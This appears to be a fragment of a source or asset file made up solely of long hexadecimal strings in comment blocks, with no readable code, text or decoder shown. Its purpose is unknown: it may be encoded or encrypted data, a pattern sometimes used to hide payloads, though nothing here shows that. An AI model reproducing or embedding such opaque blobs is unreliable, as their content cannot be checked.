72fdf59265b103a53542116fcf683f66c8d27bd5b395380c6821504b2da1c1af1dda67b4aa950264db7fb47fafc45d3da750326bba3ca9f9fd649d424cc0906234cd28c9ad0b0d23359a1271ed1e5685943bc327024bfe7fc6a0842056bff26ffe54fb8459fba9da3996a3d3b76b11d256c295cb5587506a446a20c800bf418ac2ebc21075a0a33be6ecf64a69a167ff4eb55d14fcfec1f9b35091275c2b6d164045150c455cb359042a373ba7967ef405971db405f83bcdea40bbc281c14a3315ce9736b93176bb2bd35884c8af32af878fb29fa83d8c5eb981292e02a1e1df475d7133e335f693756d1d129e891e5d4f3b86a6a6900eef64e91fc44667a79bad8ed7aafc30742cad0ec3e447955e8325dfd2a7f32c2cfd27d7b16fcea85e5d292159ae2fc362a4aac8dab87701f6131a0b00d7481cf9ce2e093975642327dfe23c0bde443e246e9550c8e2479eb36be01b014e26b71004979d13f96a0e582b2486cfdc5c9cce089cd462b3691c9a1783f3dd60a5fdc1af2a899bf09285810f6614c85d859e8ed21b337477ba56e18c983cbff5dcde0017215db358ac34f51f8ad9675f195c0e2cdbf8c18c7adec1e64ba1eb60692e371c0aabc9fc69b00023bf21f8b410a8922668f010558a3a19688841a9cdc078400fffebc3bef3776b848bbb546b97b4efdc682fb2fd274d052b66cb384f81af87d15a6db45263a146a21e35df1056d82f56091620737c750d31a70fc64c72da38fdcec075c63ded186453e5b6187fbf4886adb3fd24069ae864f14ae6cf1140eb0d59f7730bea9ef8f90347a1e08d61e1e8a662a98062ddeab65c787ea5ba752b5c43fe701019de3cc459d773e55270dec5e150240e1cd03ef91541353f1363b5418a3d869bbe6897d544ce6d0408ad271c4c15e67b297af33601b860bd94046e97fea78182535ec2227532fbf9b2f049dfee10a9b641dbe678411e4b4a774f694f594737c0984a5d1d9498f2dbb5ce88a358e7d8cdb0b8ee438d671c352fc8f303c8c60007bd9f9475ac4fff820e00368d27826689904eaa2ffa492a44215a878e5f43d4a524d0458f43d0e473579f1dd87ae2b45db0e82935585b01e75caadcb2113136a0f34328d88df7b2236c4aba077c85f0fe9ab4e770c5acf65c990a2fa6273c3cd3a485072f4b0ab559ff6d63e9eda4949ce0492eeeb4b47c21f385c091663eae10538619ea3583e04a57e60019826c377f6e1b92d991544156b7eba52ffb8c6246c4223e204c665900eba8d2c589154733e8aefd424f0203eb6c1cba7c75c891ac2809e6a0adcb10ef850a6*/
/*e782af68371ae533f70245b39f913bdb555dd681a6bad0e0a0604bc0c9f6967f7e150388e6313cb8839888197645b8b980db15cc973559614ef1c53db09f4d4756973313f3bc16fe0e79fc5c188be0d7efe06e1f853c3000586a6a45e3903982f52dc5b2c054e9a8ffbcacf5210c5e8d01efcc612b49e0a1af29f67fea2599d0e5508d5437eae195db8c9b1e81084149a329ef51d552ed96aae2cebdf340fb5c9ff5de3c6854e22b534d6147d5a5bd3e0b2f3927eab570e22d388f84c36c3667068457b445648d372075ad5c656030cc74f1eee75a5696caed7695ef8543b59fddbbfa80f70c1ec9d2ca7d681dbf638d8fd554d19786f2b3372b50ebe3b5cd281a7101c568de7b478fc6e21ef0299baae72d6044460e2c0bf38d9b174eadc8d8754f1b544c459fc050574b7b333fd7c2536bf10a7a91760098bcbdb53bf363eed061e59b9a96f8674c1ad1bdc108565e68a40b9803097b1a089e1ee39ee63952080180a98def9bd8b648ca2ae5fd4fc950061359debfcb0adf6eaa7fb88c1ce83a1ca689f76ebd1691ec4b3fe5929550329427ea6d9f38756b8e7ac9b7ebd196034bd1b8af72422a68f3a960b967650dd5a4be02aca7284d4aa4d7afdee6da507eea5aacfced1b788ae6432eed033db653c3b3b51858e66f105b904b61cce7d33808f499ec01a4e001eda0eec9d1d3a7361e988808bb609c70e66fba9d285ad6c0f5eda742e5ae881e6e92358b29ee1585da68ad714db1dc127d9123ea99c075f6d553ede75d5b5da6b6ea246977d2d00db6f0fa5e3869184c8d81f94e03a2dc68a85d3a5a9114cdfe53261f6d68cbbda6909c50fd571fab25fa61cbfacc9a8c8860601ccc4bf9895aa6d75c7c1ee329b6735fc7641ff27290ea3af478d3188885fc93117024300eb1de1e87ad70d370a3657ef69c8c86fe3136decbbc7131636ceb4820c775653c93339f706afa96216dc7bf074a5da2a8b7261ec2de1ce90db827efc0a7cb16ecdd51ab6ea42920f61f891095b637faefc9f87734b1d8c2d590afcd04949b8ab964531cab52c05b78f6faa2bf0b0d2a9ecb868c91c8c090949f7c4ea9dacbece7f1dde3dcbb89cedcaf0457411c9e111e7a9ae5bdebe9c015c89e237a880efcbd099e35e0aa45f87ea1b6223c38585a51e6fce1eec76aac4bbbef842849bcd1b418121526a7e6c39f2bfe5eafbeb0600a9dd772d5e782b1edb68e2f71dfb00e132659c62641f6cc2af10afde5bc6c45f774e0beb13a7a6d8aeddc447a3093db8d7d7d9f5dccadfbf1e3310190078c73b9d683245cf1947edfc84bf5352e9417ac72013b750c903503a40e3e7e4773448a4c3b2187258adc98067e20ff614745aae0b4ab8fbf47a042d56812f7bba1804b86defb5c5b1405e25476ed3f938d1ad0ef0248ebc1fb9ef42849d29cf0bcbeb5bcd75d4e86f7a6936419b0ef8a45101836389e9345e416e5142d7b6164c107cef6405855df7e9d5d5b9685f0edcfd85bd3be0c1cbd9527c8bf88244497bf40cec7287a30f54fdfb1be310c771eaa58c1bb0d1d9dbe7835a312322ac71199f55a8201daa79214ff42cbb925e231d0add87f6295dc07c526d044725ff1c6fc8045fa4cd9836838a1245b7f52ceba685f07a3dfdecc68b71dfef585b34b3b7620e57a88f37a04387786fbf31e1e180aa4eca27223b8fb5c8d3f5747abc86a3f853ad1fa83961e64e354a459af3d408cbe195ebbf6d8545f11959da8af4d302b13ff6ce3e87c5304735ba3d2bc571888f4b82a3497325385a65d6ceaf48b08db11b9ceb9c0b8996dec1364723c9eebdf8ce92aeae2b0acab203e922525d313981e2e17c2464560a87c8e2e96a88ee97182ee5e34e0b133524c5b105e8d14a69995c21c3ba5239bc8f4c9a24136af4fba4935139c30ad3f9b590d691362b465e5afcaf61c153a5fc1770a9ac59af5968f3dce031f536da97c53acb8d981906d2f7f74dbcc8f2e2aa8de7c49b6bc9aa9dacb15d694a1a317ed95f5d1fd4737869f141e36ca53799df32c2214c54af7362f4fa427fe610a2309206973e6ff83e5d03932f4ed5664c050cf14af6c5a549c5a3b55f4f8bc135ac931cfbe936aa2fbe03e7ca9d055fb4d8bba34b19a98df11a01a282a0950d71867e21363b68e5d8b5e98e6c76b4c449811bb43be29151d4cc67fb121294b85190b6623150970301e0d27b32cb4052b3d8d37e53be08ebc628ed4e1e55dc99bca9644872cd8d7d0575fe4d0e1a82066f090c1c0a1abc295c2983a5c8656d1e029d92f45a30b8a878e193d7f7dd4664b0304ce03a8f5a7d6e9734e91a06333e79cf0564c9d57596930bb0cf375630d9c57a63f2537b6f6e51418305b61427ff4cf4bcf03c1e6ec3242658558efe87646f526d1d67a80a6bfb4ab9e80e72b583cf38ef26d856367f5303364262d20412c4b48a59c8cf4323ea75abd1f53e3b46b0bd3029bb5c62742bdfc1b41b6c28c80f49bb76ef9fc0efaa642251a4e61b3f73bb8abdbece6c6c68b94c8431804f31cdafb31ec46064530336c5416d0d6f63c2064631e42da87292c414d0e69cd2ba1eb7a8b9f81558f16688025bb7352e92d808e1385a8a11bc12b66b541a481e3110e99ca41e897ed468d41115e614ea09a4322212a347d21a8dd1b9b8671b09a0b635330bc71debdabba1a99756be61df722876548e1d56667873d2afab9f352a2a07320ff55705eca2cd6d2970b52129990fe516b259f5faf7b4b723b1f3cdc7635e494a6c30fc91e689d78fa56238b7d3e786466202db40488cbada8c09c02c2a9804ad00bcdc230a7ba61b67b67ed7486aeb328*/
/*178802e8b00db41b5601864b8e11d17b14a533cbabdc38beb8990ba405505be8b534a99cf60e64e7f62daa19736e3b99520e3118c74d0407840387782aa2cc4bc1413e80078f06d384796b0618053619cd9f532418025cf5fd2a0af61f3d2f1b478afff1f893e5a3be48bcd8d74ecb0f6f0280aa573d7051787f6e763f5db966c36598f9fa0f30f001779ac1db5bf2731d6e1625244fac9c0bd540cc16013d710dbdd5ff0434dc21e916b0f9d9ed8a568e97f0cc04cd9e93df4f2842afe7cc96e32e9514c493057026fb6f93c8f56de3fe174ecb134d33657176bcfa8f211f136c58eb067072537439c034c580896edc57cb4d1ff276cd9ff79d5a6612e9fcb3779882ee0fed0287bac67df43093a55adc56db1cba67dab9a6bb0812f57844ea9d70ffa89e591d432944559846bea5d817059bbdd95b7d7dcf28ef818862e1b931373eec16e309eab61a29e6fb701b56c1ca1a872f189aa1c651a0e2c0135887abda5e7c5782df3cb56afd684dc69e2e7f1b967dd4a770cfa74b158d5079dab32e8d46028b07a4bcf28ad01944751485707d2083ec964100906d41afe96729876d1c72444aceb60318a3a15e36cb806bbcf0348dfe28656851c4349ebb6f6544485915dbb3e6d91ab9c1a7583cd17ae86acf4c6f9a930eabdcc618828f16d4360402d3cdf0a8c6c23fd71611a2a1bb48c9c2b9fbf3e3869ffc23875814b54379055fb787e6a8fb798d51fa6badfc4bc4bdd10e31014520276fdc6e6fccb963105657d44573b4871e6a6c2c34b68679afd80e4e4fff4a5ad86fa5882514d4fe0b1d090b3ac907aabda2879af8c359e926f1f0b8be403d7ee257528cf3dfeab54c35f3f3581b2af37fb8a731b08076b925964373f211bd7abef30cc398f0887f6ad35d0272304cefccf9e6d977fc75f86d97e842dedf85cbd277b27294239988829702627cfadccd96ef3f53cf79e65b41ea884f031e96a163d15fc59cb43b3e72628e3bf031b8c176a4a72563b7fa1c6eda5820420a959367199436818ea888b85e8d7642cab49963575d0cfae878d870cd541ac00e17abcaba8e78a18c7e268b6916b85149dc36aa4069e4a712be2ed912330e03c449202e0d9a9815e85627d10b9a8c5439ec4c9d38b01c0266b67fe5471f1d3703fb79784595895b6c899bea80d349612c424567b85f614881da2e327c51314d62591d459b1d6a2fd885c219a16392777ec9d7e24423acc9198b43f752a845b14512fe7fe0815f3818cd2a16c22a0a60b1636d19ae159452cc128fb7448ae210f8e137b3e26f7cae24f0e8ca35c7339e360f58bed2fded7087db8f9cbd05c43c7e51e64dcac47c743bd7a206906a9b5465cfb6034db779a3212409a4db333ac87c76d1f6f385817ec81f205a603f8b9bb1fc53645558d5ca399f1c76c345340ec82eae5366310834f3e38f823e240664d534f71756ec819526e0ed95b350df6960344f8b9a0c5b8d78a076ba02c6551bdde2ae0991d8fa576aee16ec8b5bb5c4548771ecea111962d8aa94e2c710edba87552393ea30f500a7785f65e492b1c1dc589b655c175983a7019124a4c7a1e50a5f614092bb347f5a5372be7c717e3b1482ed53fae9b29c3f08d3f7485d8e92997199058efbeadde02c364de0d8fd066509247a542dda04c1295518e1a6bfe75af29151eaafbb0002aa1c6e570a1c8fd58486eafe44e1a4f3263295ab1f9ce737f1d233803f258d9e8df31b00559aee41d32a3efdd25b4a4e90eeb76bf2174c7f9a12eac1414d47b07c892771d1efb4c2aae5205316e51ae55bb162552136fb643de7d7afc8c868c2dae447308751636556d055ff06e954d7639ba82224b1f8210aac008358cbf2fecc26c6fc2c8be2d6b56e42d33b66ca70bbf0042a7e640579ba987fb27c07ec27da6590eca2f4b8666b731cd3a7b6e9d65650d049ec8358cf65367249d7d3f1cf026bcbfc7705446d1bfcfc13bde5cc536b91c8bb68e8609d1554bc8bdc668b596263d8e3957f599290b45172c6d3dec073d4c11acfde1a60a18c1166d19dcd45827b6efa843ac635c50b6370cd24a4cd941c1990ade3cda598130b6e28066a67a91d7ffa6197982ccf35f9e85ecad78df6d361c525f2ca1a57717c3ff4be4fcc421a0d3d113a4abfdfaec2747bbf57228bfee77968d2b191ef3c4eadd6a83f5acfd4e00abe6b245dca45b644e594f667552544d401222bd9d832186071cfe84588ac33207fb293da29280d05b4e6cbd7209ec0adeeda2ec2619cb12b8bdcc9d00f74184075045433b5d8b5f20ee3c879a8d10b0b7102d68e190a29bff52b6c7b93f98693795208c8a8c7d1cf9d0aa961ad2fb242d168866ef7649bcd302c79e72be65ac7c9d4de8a2c744dee2349488f516d8da12f82b09af0bd3f231642c7200c8e8e260ca402dfd1c184112ef52ed092c699b8efbd228cf83c645f7f210babf98847186b6fdaf805a9c266dd88b985079909a27db9fcdfed5ac852e30ba9e4b35f714fcd503b1810e359298355a44869ee531a90627852e197a6c3f9ed854020058011130cf8a77f7eea731de87da08cf12f6de95ae08c1b36abd5b9128b918dd20a97428277700f3185910ac29e1003fdc8595c7ab0a78d9eb50c5b451edf44ad766fd613178b7f187e523d1cebca524c62b1140248e7d25e9fb36ae545a3562136850fedc1f4b6a1aa1358e39025cc84c1662d21e488116788b5f27fc270cb3a8ce8d7061f174f805d82295ffed186f8e94b2b75ce7346ced5805621d5a8dd5c1c2ae87d488c42e124dae151075685fd041a9dffbb87614eafc16e35140ca1fa31*/
/*eae35b1e0f7ae0e3a040edf33cce41eda6a6724224e6b625a82aa5b55e6745644cf8d506cbc3979b436eb9799843375b67a0b74db73eec7af1f9f4b08b5328c8e43297777fde54e73e207ef3ac8a5502037d5e23a1644067ff81837a04c137380949422614612d87f4d81cbe9be850f87149c54f3a192f95e1f4fe045da950179485267d2e32ea873411595453484311ff4208f1ede28d6f85b91d438e6ee0ffa0ddc6e78b175f2ef1d72f1404bf30875ba9342e61b1ca6401ca1737ec7df2b209e6bbd546e5f061919b763a2be0f80013da5a691169555989793e96ebbc3a02e982adf7c92ed669ae748eecaab0aaf094d79cca98a448be1f82ea6c42b8ce5cd183d5a50aae85d656d019a512c9687da3ac51672482948fcb93bf4ff5ce4da5827a0dbb05ffde8b7c9b56e1d1c43b8ee1471eca9a2199787af335b995a4b4b0011d7cc17cf990f1429bde5a3068791e667cb6b8e5612d793b06bfb2d9f250937fafe19dedb4430ef595d780dd13a78d70629201f50ecbda4451f4f7fc3d69b8998cda01ca4da662e04da33bf7d77a549c85cee71d264177f85d93b0bb0ff66acde1d8e038454a40bd605221a52bc067eaafd3fe95101baf038498ad9ab2be1c7dd18c973d09105d6dbf54ddaf4e4be5f54653e17456e44f852e880e307cb30c31e32c43779df7343215cf544e54266fd094183938689019eab74bfc69f71176e6674571c0626c5810e903d3a709a64b895711710667cdce3ea8c3e7168e820cb633f1b8a6f254aca30e8821e7ff9f39a36ccd3f82655505309e076c50dd7968d68a0c11688ef4ca9fe7f7294c2ee84cfa49c25657742613b04e88b250899e55a14e669fb189e229d4243aa34b6daaa2c47a11e3aa480fd9563e36268c79042ac15ce42623411e51c9a803319c1db94e2f91e0c9e424dd3bc46792511b1051215cd38412ab22454c93aa8408eede6d56bfdc2d8b3198edb56dc9a17abec577a3a1e2e641b3b812aab9f85d293551059b17871e17296c8f5b5ff5b85795d2138071cf1c64b9572fc245f59405a46a6c2a1318b2c40aa7a83d6fccdad487a1ddf45de8cd7259fc6ab93d818373bf48146ca47daaf1ca878696b07871458fe9faecca93488e84906cc844233afa7d5980105aac672d23920c99eb54a55f276c92002a1c5b69eba410484eb331cc389f5222f9422aa7b7817225008b13a50c9f9479c726b433c26f49471f3a3feac02835d22a78c12b98cdbd10f6c0443dc23a67288749a68606d966b933bbbb2686dbf0939dd79f7e4e6f6029be655f104b492e21ac30b3d59f453be242010cd5b0a09e5712a3a768e173670951210ea7efe55b9128c9d9331ff401464c3399c8bcd98c5ce5a9450852621a376240c039c16b68791fd0218af4029b3686540f0f0f34f1a87b5a70ef8eb485216814569c3d6e634190b6754a249a910d61812dfc0d5d419ea596fc550c3c4d52ed13371975ccfa5070c354819c084f63f9a0fb7f33224457b78df2055093efe47d0aa2ac3719b7e84dd075f8302ee1947560c17cb77a9966567461b64b17a555f9236dde34ee6757e929ad7c86f89cfae791059fa733fbb832322b5459d669658ccea20f8ec56e32069c8742b3ab145a89fe7c074d255fcbd61af5cebad28d428b520b035ac073d13ce3a82bb0cd99d106b52451d4c74209d73c78b92db981ab3944284cb4d4b1920cce69d84474488277503fb7f31e79a4abe46da55c4423bf9cb1a551ae8afead5656498df7fa839353334bfc7c9e8a372869a095904e58bc356a2394d76a3c8bc72321a82eef9420c6b9a93bc8ef661cb4a59a31ba0e1bce8619f1d3ae21796bd23d752d2184621e43dc712bdda5657ee8f275705767dffa1f23c3c3510e86e6348173f55aaea13bb8848845a41c39c6485acd5b09789a89df103b08adc988543cba6c37cfab8f91dc13b0a283afce240a2e765416746145a67e627a9b4931a64896fb8eda5dd78344016eb840debec1e096624dcf08f83707e521cc35d0455db959de3376287a09e6155dabb4b18917777a0a4ba9e96d14d5dd509734d44fadc06d369c7294d79afbe81d8d65007410dbf41efba67644b9ebc57ef0b74edf82acd19e6124ac89281ced7bdd7336697faf051d56d6446dbc2ae3a998b14144a4f83894c114b39ea276e82835300fb904588fa24ffa26348cfae00b91ad779f743b3e05835a6de0cd45babfae725fa1b56ef7e7eed35132076b0f3fd0bc129cf241e32ca22d8dc8c5db2b9a0e80f31e20b6f080b8cb42335b04a218301a7583ce4c1b046c14a6d9d5c7c6321e8ee059f4896e2c78ebcf183b2cb055e56d90a8f6259312aecb9e62b2d1e7d2a7ce84f452bdfc6449492ef5afb20e90a0d3c83ad60d7fb53b241972e30c874a435abf45a9216f2f45cac4e9ee5febdb91dd5b50a09c545e6a0cd4fb853e51176baaf4c00b9dd6230b3b1ab0101e97ceb732b04770ea2227d1aecf8eb2e8c471b9722f96bf2218b1f0954a7da79d98da59d4cd700ea0040e21778e49744a17fffcf584bd98a43292cbc9ae4fce7421479d9aa125400809488458a286fe8cc137e43ee010e1392cdfe1f77b45bee592dc70fdeb3b0aa2a387e91ae49ce4fac33947d5c24a8788b7848dd5bc8a4c8a6aad376bb2957a6d7c53d7297ebb5c1098f88985598de7647fee06baf3de2e6891ce4bf3f5e65961656dbb8ed5f8ed8787599611c755c882187b49df40299c5952fe288ab7e35a71b40e3738e2fe4c6ca1344aee91eff981e6de2cc308dcf7ede07c213f71f20f0a39ecbc727c470a59f7aca44c1c7feb*/
/*eff525ca8249406646ebc86104df94dee94dcd42108a35cd44a9142ea1ea41cbf89186abc99a8eeaab964347e5f17045bad58d082d5506d42621e0f194b1cab615d49f16282505f4548735407e2709ded3e3578151fc8e15a1f10316d322f70b363fd8613552076a526dbf4cc6268898c8ee5f810fa43706e7ef7c8c0c647a243d9f22911848867bdf8efacd4e226294a285b2f6f44e5ca0849d24f554115264c95224a3529392b466789633e487ac03530f8f348395926289679235e4f1dc0ee4ec26a83da8e6a65f857c2b16b6788733c78abc1e7571fe3ac2f10a2ba21cd3d93981671e5d5625789d4add5e16b357e3e8d5f9837094a60f41e6abd1664dfc5fb4c24d1f9ec8c6362ceaec0cf388af6cd2a1cb5b9977014acc27aa2ab362ca868cab6a3db51c17aad48ce7c4899071d7b58085c78a7965fcf3baa25671829ae2f9ac2da418cf8d261fd41d2d2da6dcc8897acc55688e60ec3f6a3aecc7ecb478def2dc5e918057a5297f1f407b990900c5d4166e5e9f2cc0657a6f2b9af35cc86b2ab52b342ff0818090f22a4515bb1405a3e56d5a51df329832a801a07b32e99dface3cd7e782cc3ca38828b0f9f2d28c8c228be1e481ce2ec25a77c894c812f8cd86f5d0f7fcd31762b56becf7e4a2596f311481ad9a887db848d14412e8cd10e57eb062406b8f79e29cd04bca12838d677635704917bea7a22e1796e40ef68a096dc2af6201ba7c7879d80cd7731944da77f9af31dd5923ef8ec35f8ff5632aa02c0bb6f85e8e1fc4ffb3f1a5569fb98a2c69f38e26bd74f60657b29bc2c5ccef16644f52b05cab538ee82fd81497202a4b8bbf933542d4c2a934172a750eb819b17a59bd338d6aa6ccdea74b01fe32cd5e31b2cea007b769d1a57460a92d9d90d1adeac5afc9e2f990626eadfc53e417fe4d743ab7769d5646f4ec9661b4102d2d2bc170e6b1a0ee9e28cb671123eeab421a9a39f21ad018f3624457619facab40bbf4b5f4afb083a092b2561e5ef7559fc1f66b4c6ce8f6d35e69e79f007c16813a659afe2ea87b1fcbb8c341830baf702f1f848338e47f769e504ba39537dbb719b359e66195f969313565594d04b453b303db974eda5d7e491b403ccfd24db99a59dff3c675bf9c1fef1615974caa6b95a15881bee76cf2034e025a1b02188b4431a5f64f306da3305c6e34dddfb97548d874d8b88f4d045df170c9166a4cb668de99db2a7be0051e999ece9ce564d147df5004e93632dfa9e0cc2adb566894820d82397cfc96f49901b28780d3c3111883a48304c4b007f80d6b635a6b4b3a54456d6cc87da5feef99d1f0cbe2258341c5f1b08f36bbf5fffe2efdfbe24b1e4068c91af3f4adee21f7e804dd9aff4092a8393b156c9a713903a4acdfed18400eb2b5ad701f137e8c69d9183f782f4f94e037817a2861cead7c4007a01235e278053d2e324cb939493fa931c630c8ad51bf14c30b5b062498c8c2ce9a4fbc7c99657bd82f0019afdf9b637acfbc95f93d9a199d77206fd7b9702e7d5fa26548237cee29be5dfb988db1f301f45371396fb55fed9c1f3803fd26eda0aeda4c3b3d723ca7b70959c7d0d58abd9c62dc047def651c6892f726fa0e84231837c27ca67d913131de05ff0905efdd587e4fd74a7adf73e65c41aafe07e637e93d926eb591b081bb39018127bbab9d05808db3b132931944c595fe01e717464f0cd0dcfe1a9974fed945a62fca0f28b636d239fdb175cf93ae0e17fef44cbf5f23e04269bb039076ae81f982ebd229ca679bcea1609b90fe7395d81a5dc2aab298b50446680e654495573a0ff5be7f4929e5f92d0cbf3823a426eb48a3dda621757c5740c9d69c7f315e372c0c3c7cb39da321afdd2a353d2b192853dfdca3cefbacc54dc3cbc9353da081c71fe5f909791934aabd6140fbc6377a4ff3fbd318db14ed8d007a451ec84a22419fe5ab83f210d775a90bb6b3468a408829d7b0aec3ec10e0839a06d198fa74a2adce0e4511d0642cea661ac89502447422f987b9658c0642178ba4ed4bcc8c5db9c46c453579d579c3312c79128947b227bd828401b32f0d8ba744951ac9515e5a3d0804ef39bdebb81f3bda1222ea6183812f2ff755e862cfb7701bfb109fc650a05c4f92561942225851cd780ac2c02214f18a82d693763029871ad479f85338217b4c943692a9341a4ecb67cc00fe6d13a434df201595caf5f5a256926e3c92fbf6852f858679cb9e093bfb4ff06ddc1c235659545c00630396acca2d840bd677de364c31a03c5ccd18ce72214d5d5c498821a87f9f7bd8f1dd8a478b53b24d6077e9fd87290aede29c66e9f688c7c09078f184273e9ca7be2500e76a23cb2866aa009c692febd0e9e24c7a2370b1ed570c57cd59cc356aad9b78f2fd48f026a062fa76d922ecc23b7b69ea14911daeb786800bb143bff394523fb60723155b820388a83a2ddbfaa91d9f66e79f011e2bce653eb19f3f3b5ba4806f3cbe5a1f6c8c0b3be4e9458d617ec41ab55fe89c4bf07ef06d86aa999b0fc6e485c6ff301fe4a798e239f26338093e515d80bb96d34a6df405787edb47277754b70296d41258e30d5bcd1cc6ac5b2133cc2c1dfef77a1fed453fe8d5178332020f29d4dc56316c756ff8fc26ebb5b2264fa7677ff4fe728f48bfd8a5aa7b9d179e0059d5312c8c819e1914097f487880f58e0c4c1559a4b258638bf2a25da457f40fa52cdaa3d16cc3af523bc9d3903c4142c9d436b5be90c0167e6f1582dc7435c0519f39ebc94494a25d0c2f0ff9a81e2ff92b8ebfcb204a978fec792734e3b2ec1eb922da*/
/*cb5e5463aaf1ae4c583067323c28461de762a8441b6915960464bc823531f25ef99c2e1d5cf09668ec8347ee9ed7a3e6960b0ed68e2362c0f729fc5004e5f341f0dfd598462b693f0b3abaee1f19c8ce608b9c659bb1b0540cd9329c2c0f132cd21dd8730ca7ec52961a4b95c0cef312f3559b24f9b34235c3ac876b9f703b6b6c88abe9748623b242da0e5fd867bb1e4b0650b92c4657545b7749c915b34e53a93701d46493868bded9c06b54046fe4eae041fe0f563717e19631ea7a2fb61190d2a9206d29047b21d8e444d3c99f7881cd04136dfca36935945fb5208f2991b5929b73f4be1c7daa1f5eeb60e28b430625d1240eea0d27b9831fa24d5db253d16b8731b404b376054534baa1ba8ce311ec8f2988cfc634a7e2506e13226fde5be3baa571a4a38708068ae04119b85edb225f08e8000508c1a403eb33674cf3cc7ed80b724594ecefe8014f42c7fd44c181126fe15831261c77fce3ab190e70c16a33741ab1b2204ac071bdfdb397c3f93549e967492d70faebcf25357b4acc001f38cccf0647c9cfb32ed860b6eb795314eeccdfb76b0aa23f1c096848ebe3e34c4b0c51657bdd35b54c61684fb46ce20ebb769e064ecdd99b264633e3c1da16d0ee0349f2ae5f050e413d0b1a388a1c17a46b7e6618e2001d05ac33780750ecf80238af185998996fedcbcaf913a0c1237f20e4241705183f73662f305cb7d2fd8711f554d9dbe27b277ea8a40ecf96ddd1f75ef20d8dd43f9b003a1bd723be5d920cb56800fc253e0018ea3a33da3a018be6a7e5a573fb35b34516b680ca985b1e90951afced97c5d64c6f40f464669e801b9be9a8aef82bb95ee7aef63b59081f5dd5bfd0f310159417ce565d3c631ab645673a6b8a38246aeb452759887276d97a205ca3ac828da0986e24d485354592530842f41f8fe3022072272677cd735bd8b19a4670c86326f100f88a4f9bf7cf64e3aebc89576b1ada4f9b10d2aad0f1d3403e1bde07785154c1cc5d90e5fbd6fb0c94a56dd671074918fdb37e7edb7c45efa538d7fd51e26ba336432a2b53e13111d268e48300272006b8c37edcd4bec47d8fd736d446ff268b55d2deece3580224261bbe84c5bd4a17ade531d6ebfe00bc30310db1fbf388a1fc88b5532dd182a763798234314f1a7ef82813a8e80766b15334e3ecca1b0767a741a81717b5227a38352dae3e733e7111f52ffd451b5846b3fe512570577bab3fcc527162dba5b9330df1a981cc950310f34dea1f98b39311fbd249d74d3338421b61521054e951a0da2f0ee97899147060ad0999b5aa37d75d074319e85a054ba41c6a0acb59bb74250dcad5a78cc7dee64c83c1de368c98007e685de17dbee387c3a2e4f44ac1f58db69d02e1580713495b34606a0843e1646980f17c0664b114768f4509b4c9fe8c081bc85e784a611e7ba053ae9457431f614db40675244790397d955954cb0216e5507f286bcdb6436a22a15c2c266647c56fc6a4acc6d28cd83647e3b6d50e31f945347b5e5c4f8fa31b7a59ada8167a5ba61c398e6a0680b7142703a756eb7626cc9e3134b80122f84d7dfecb37a65d447838ab1833e6b623cc40150461e4b4ee481031aa7b4f5b97ca3a8b9b18c60e6836fed81f601fa86d32a5b7cffb371b9bc6e081b3bfc6ada0ec1d4b89cab4ac0032515be02f5421ea40f92d14b36521ed210e4de35c49e83eee148ca43209481b19abcb4f2b3519a8df12beef766bee0beed45d17be44380647f4e7c056593a2c9f94bc64150a734b29a0dac3524dd234529fc165bec98888467e7c65c929120d33aba7b6098d77ed69e0aa28d0edf5d81c3f8a79c4596970375ea1f16bd07776ed039a6fbf0840ece8516271948c61428772098b2e64f233ae44e3b7a6e87b489dc8591f4bb3a2345e3c417197eece277426a3dac444a6626204bdf01543816158a20a131c292d029a796b74622428fa65da7e579b388c77e15019f21371816411668cc60c07f7dd029793964d7dfcbdb01aa6553abd5caf7b2e545749b6b4aec69fe7820646eff5b135233e2d3e37fa6313c711e97a857a5a7dfb9d382da76ca85881f918720ff3f469e2503ed291e531a8475271fb5786cacac9d5e5a5060792361cf45375f18b73eb54fcf0dc48d4b7851e4136f950bf8eed618021c1cb9bc7c249fc9a417d4a9ca2179fbbeab74f7f2f72b476f6fc976064557867f06807a3b129d71fc11dc7464b49f9c51c0530b94ee4115c1ab3a8d1eac886711c8205b0c75f781f8508833b4095346f531534337c9f8a6e58d680536632133965789d695fe9d4070cc50fdc91425e0944478e398c1991ce0622debdd58508e065d06e24a8bcaf3f838b2dd44d7878b0b6f3e5ee3c3292470e388a436dfd7fe7e16d455065bcdcf1d82cab77dbbe2195af21597ff8202a16b40b0d0573ab009160eee9ef0bf04ff79b95cbd415af06e03a638055374948a5f2b3de71b28fb38385465db283c0bb8e90acf31ee13b994ee73fe6ac6ece896dacbc55b35512f39b8d13e04acaeadc1f75c0f889b8fa3d1f689823dc291ce8a8c2acba3a0009db6febec71315858967649d0560509a3403292438b86366d2b1a85c76221de59ec8cc2f4ab715bd2725b5c442d3e1ba3fbbbb1c96cf44971bcae0f8dd1dd94677ab686a4ab2c1e3e5ceac091d330e24e4be0371eb159432fb976f71c0920ae181606aac930c2122622bdbe7382beafed2167db62071d587ea672ecfb82ecd47e7573ba6ff220fe3712f94c74c5f9729bed06be19915cd3d6ffb2ab6d05aa203966e6643cf9dc787bfd6014a5ee*/
/*1d6b92dedb438d8075aa5e3e4d21eb77413391b0576b06506fa04e2dafac77f2692456b042592dc82c1b65288698874c65bdaa6650a0d676868588c756a7ddaebfcded763855568fc917eabfbd042295416ba18d4cd2cdf1b5d035488bc9737fe21a467c01854bfb9ce91dfb946c41c332af80fb4b0143589a50d93d5f940729a743fcf08c9b161ba47ab357968bd0eec282ccd3e3c693bcc6b4f1165ee78b0e6e1e0be22f58ab3da1498369240e23882ba0da0a287031632e4072fff2f9bda250602e7e9cbcaeaa1b4bc8271b68ad2cf138e36d31ea99a5c60429148888183b00d11d8a029f80ef83bae965b6becfa01a72c6d4b67d45c0190f833ead3722c3b032a969f9313c710606ae6f43d2c3e354a5ed2d3516d64114641315ad831634b7369a8caa64e1fd79eb85ca9c81fbb1502418d346c0cebbc6abd9d6bc179b8a4a0b6e2d352fc3fe93830b48e2885f288a1a0fc4ab5c82f98c8a2de2fee8ad517a9ab746e434b88e3e4e4696c45b97bd65eebd3584e37e7e73aa54794e7755519ac1761fec61f9cce2705cdf5f4b47e5313758670196df2c3445e7ce6080613fec0b335632c12349bfee2e679de0c05acd0f2c56074bb87205d8e1fcdd29f71397f491aff278ff7eaf0ba234fdaa6ee6753253548dc3729a9671064c0fe6aa6c5ba9e7852b4cfa4b111430fbd120db4262eec5b3fd79efa2a4c292b9ae005abe300056948b7a00e162c2c1c200c3ad7edce468d48b428833614f0c31e098d47686cdc1af9b6e3c4959435a4f7b3e5e82d08d1ebef8dc1f209433b561733cf8697ace8858d1eeec80c976526d33ff131e83eb781257ca48e2411a592b4bd9e00e6f3f2538b6b15ea7bc61493caa6f2ed26b9df8d83d24c2f803ee124f9a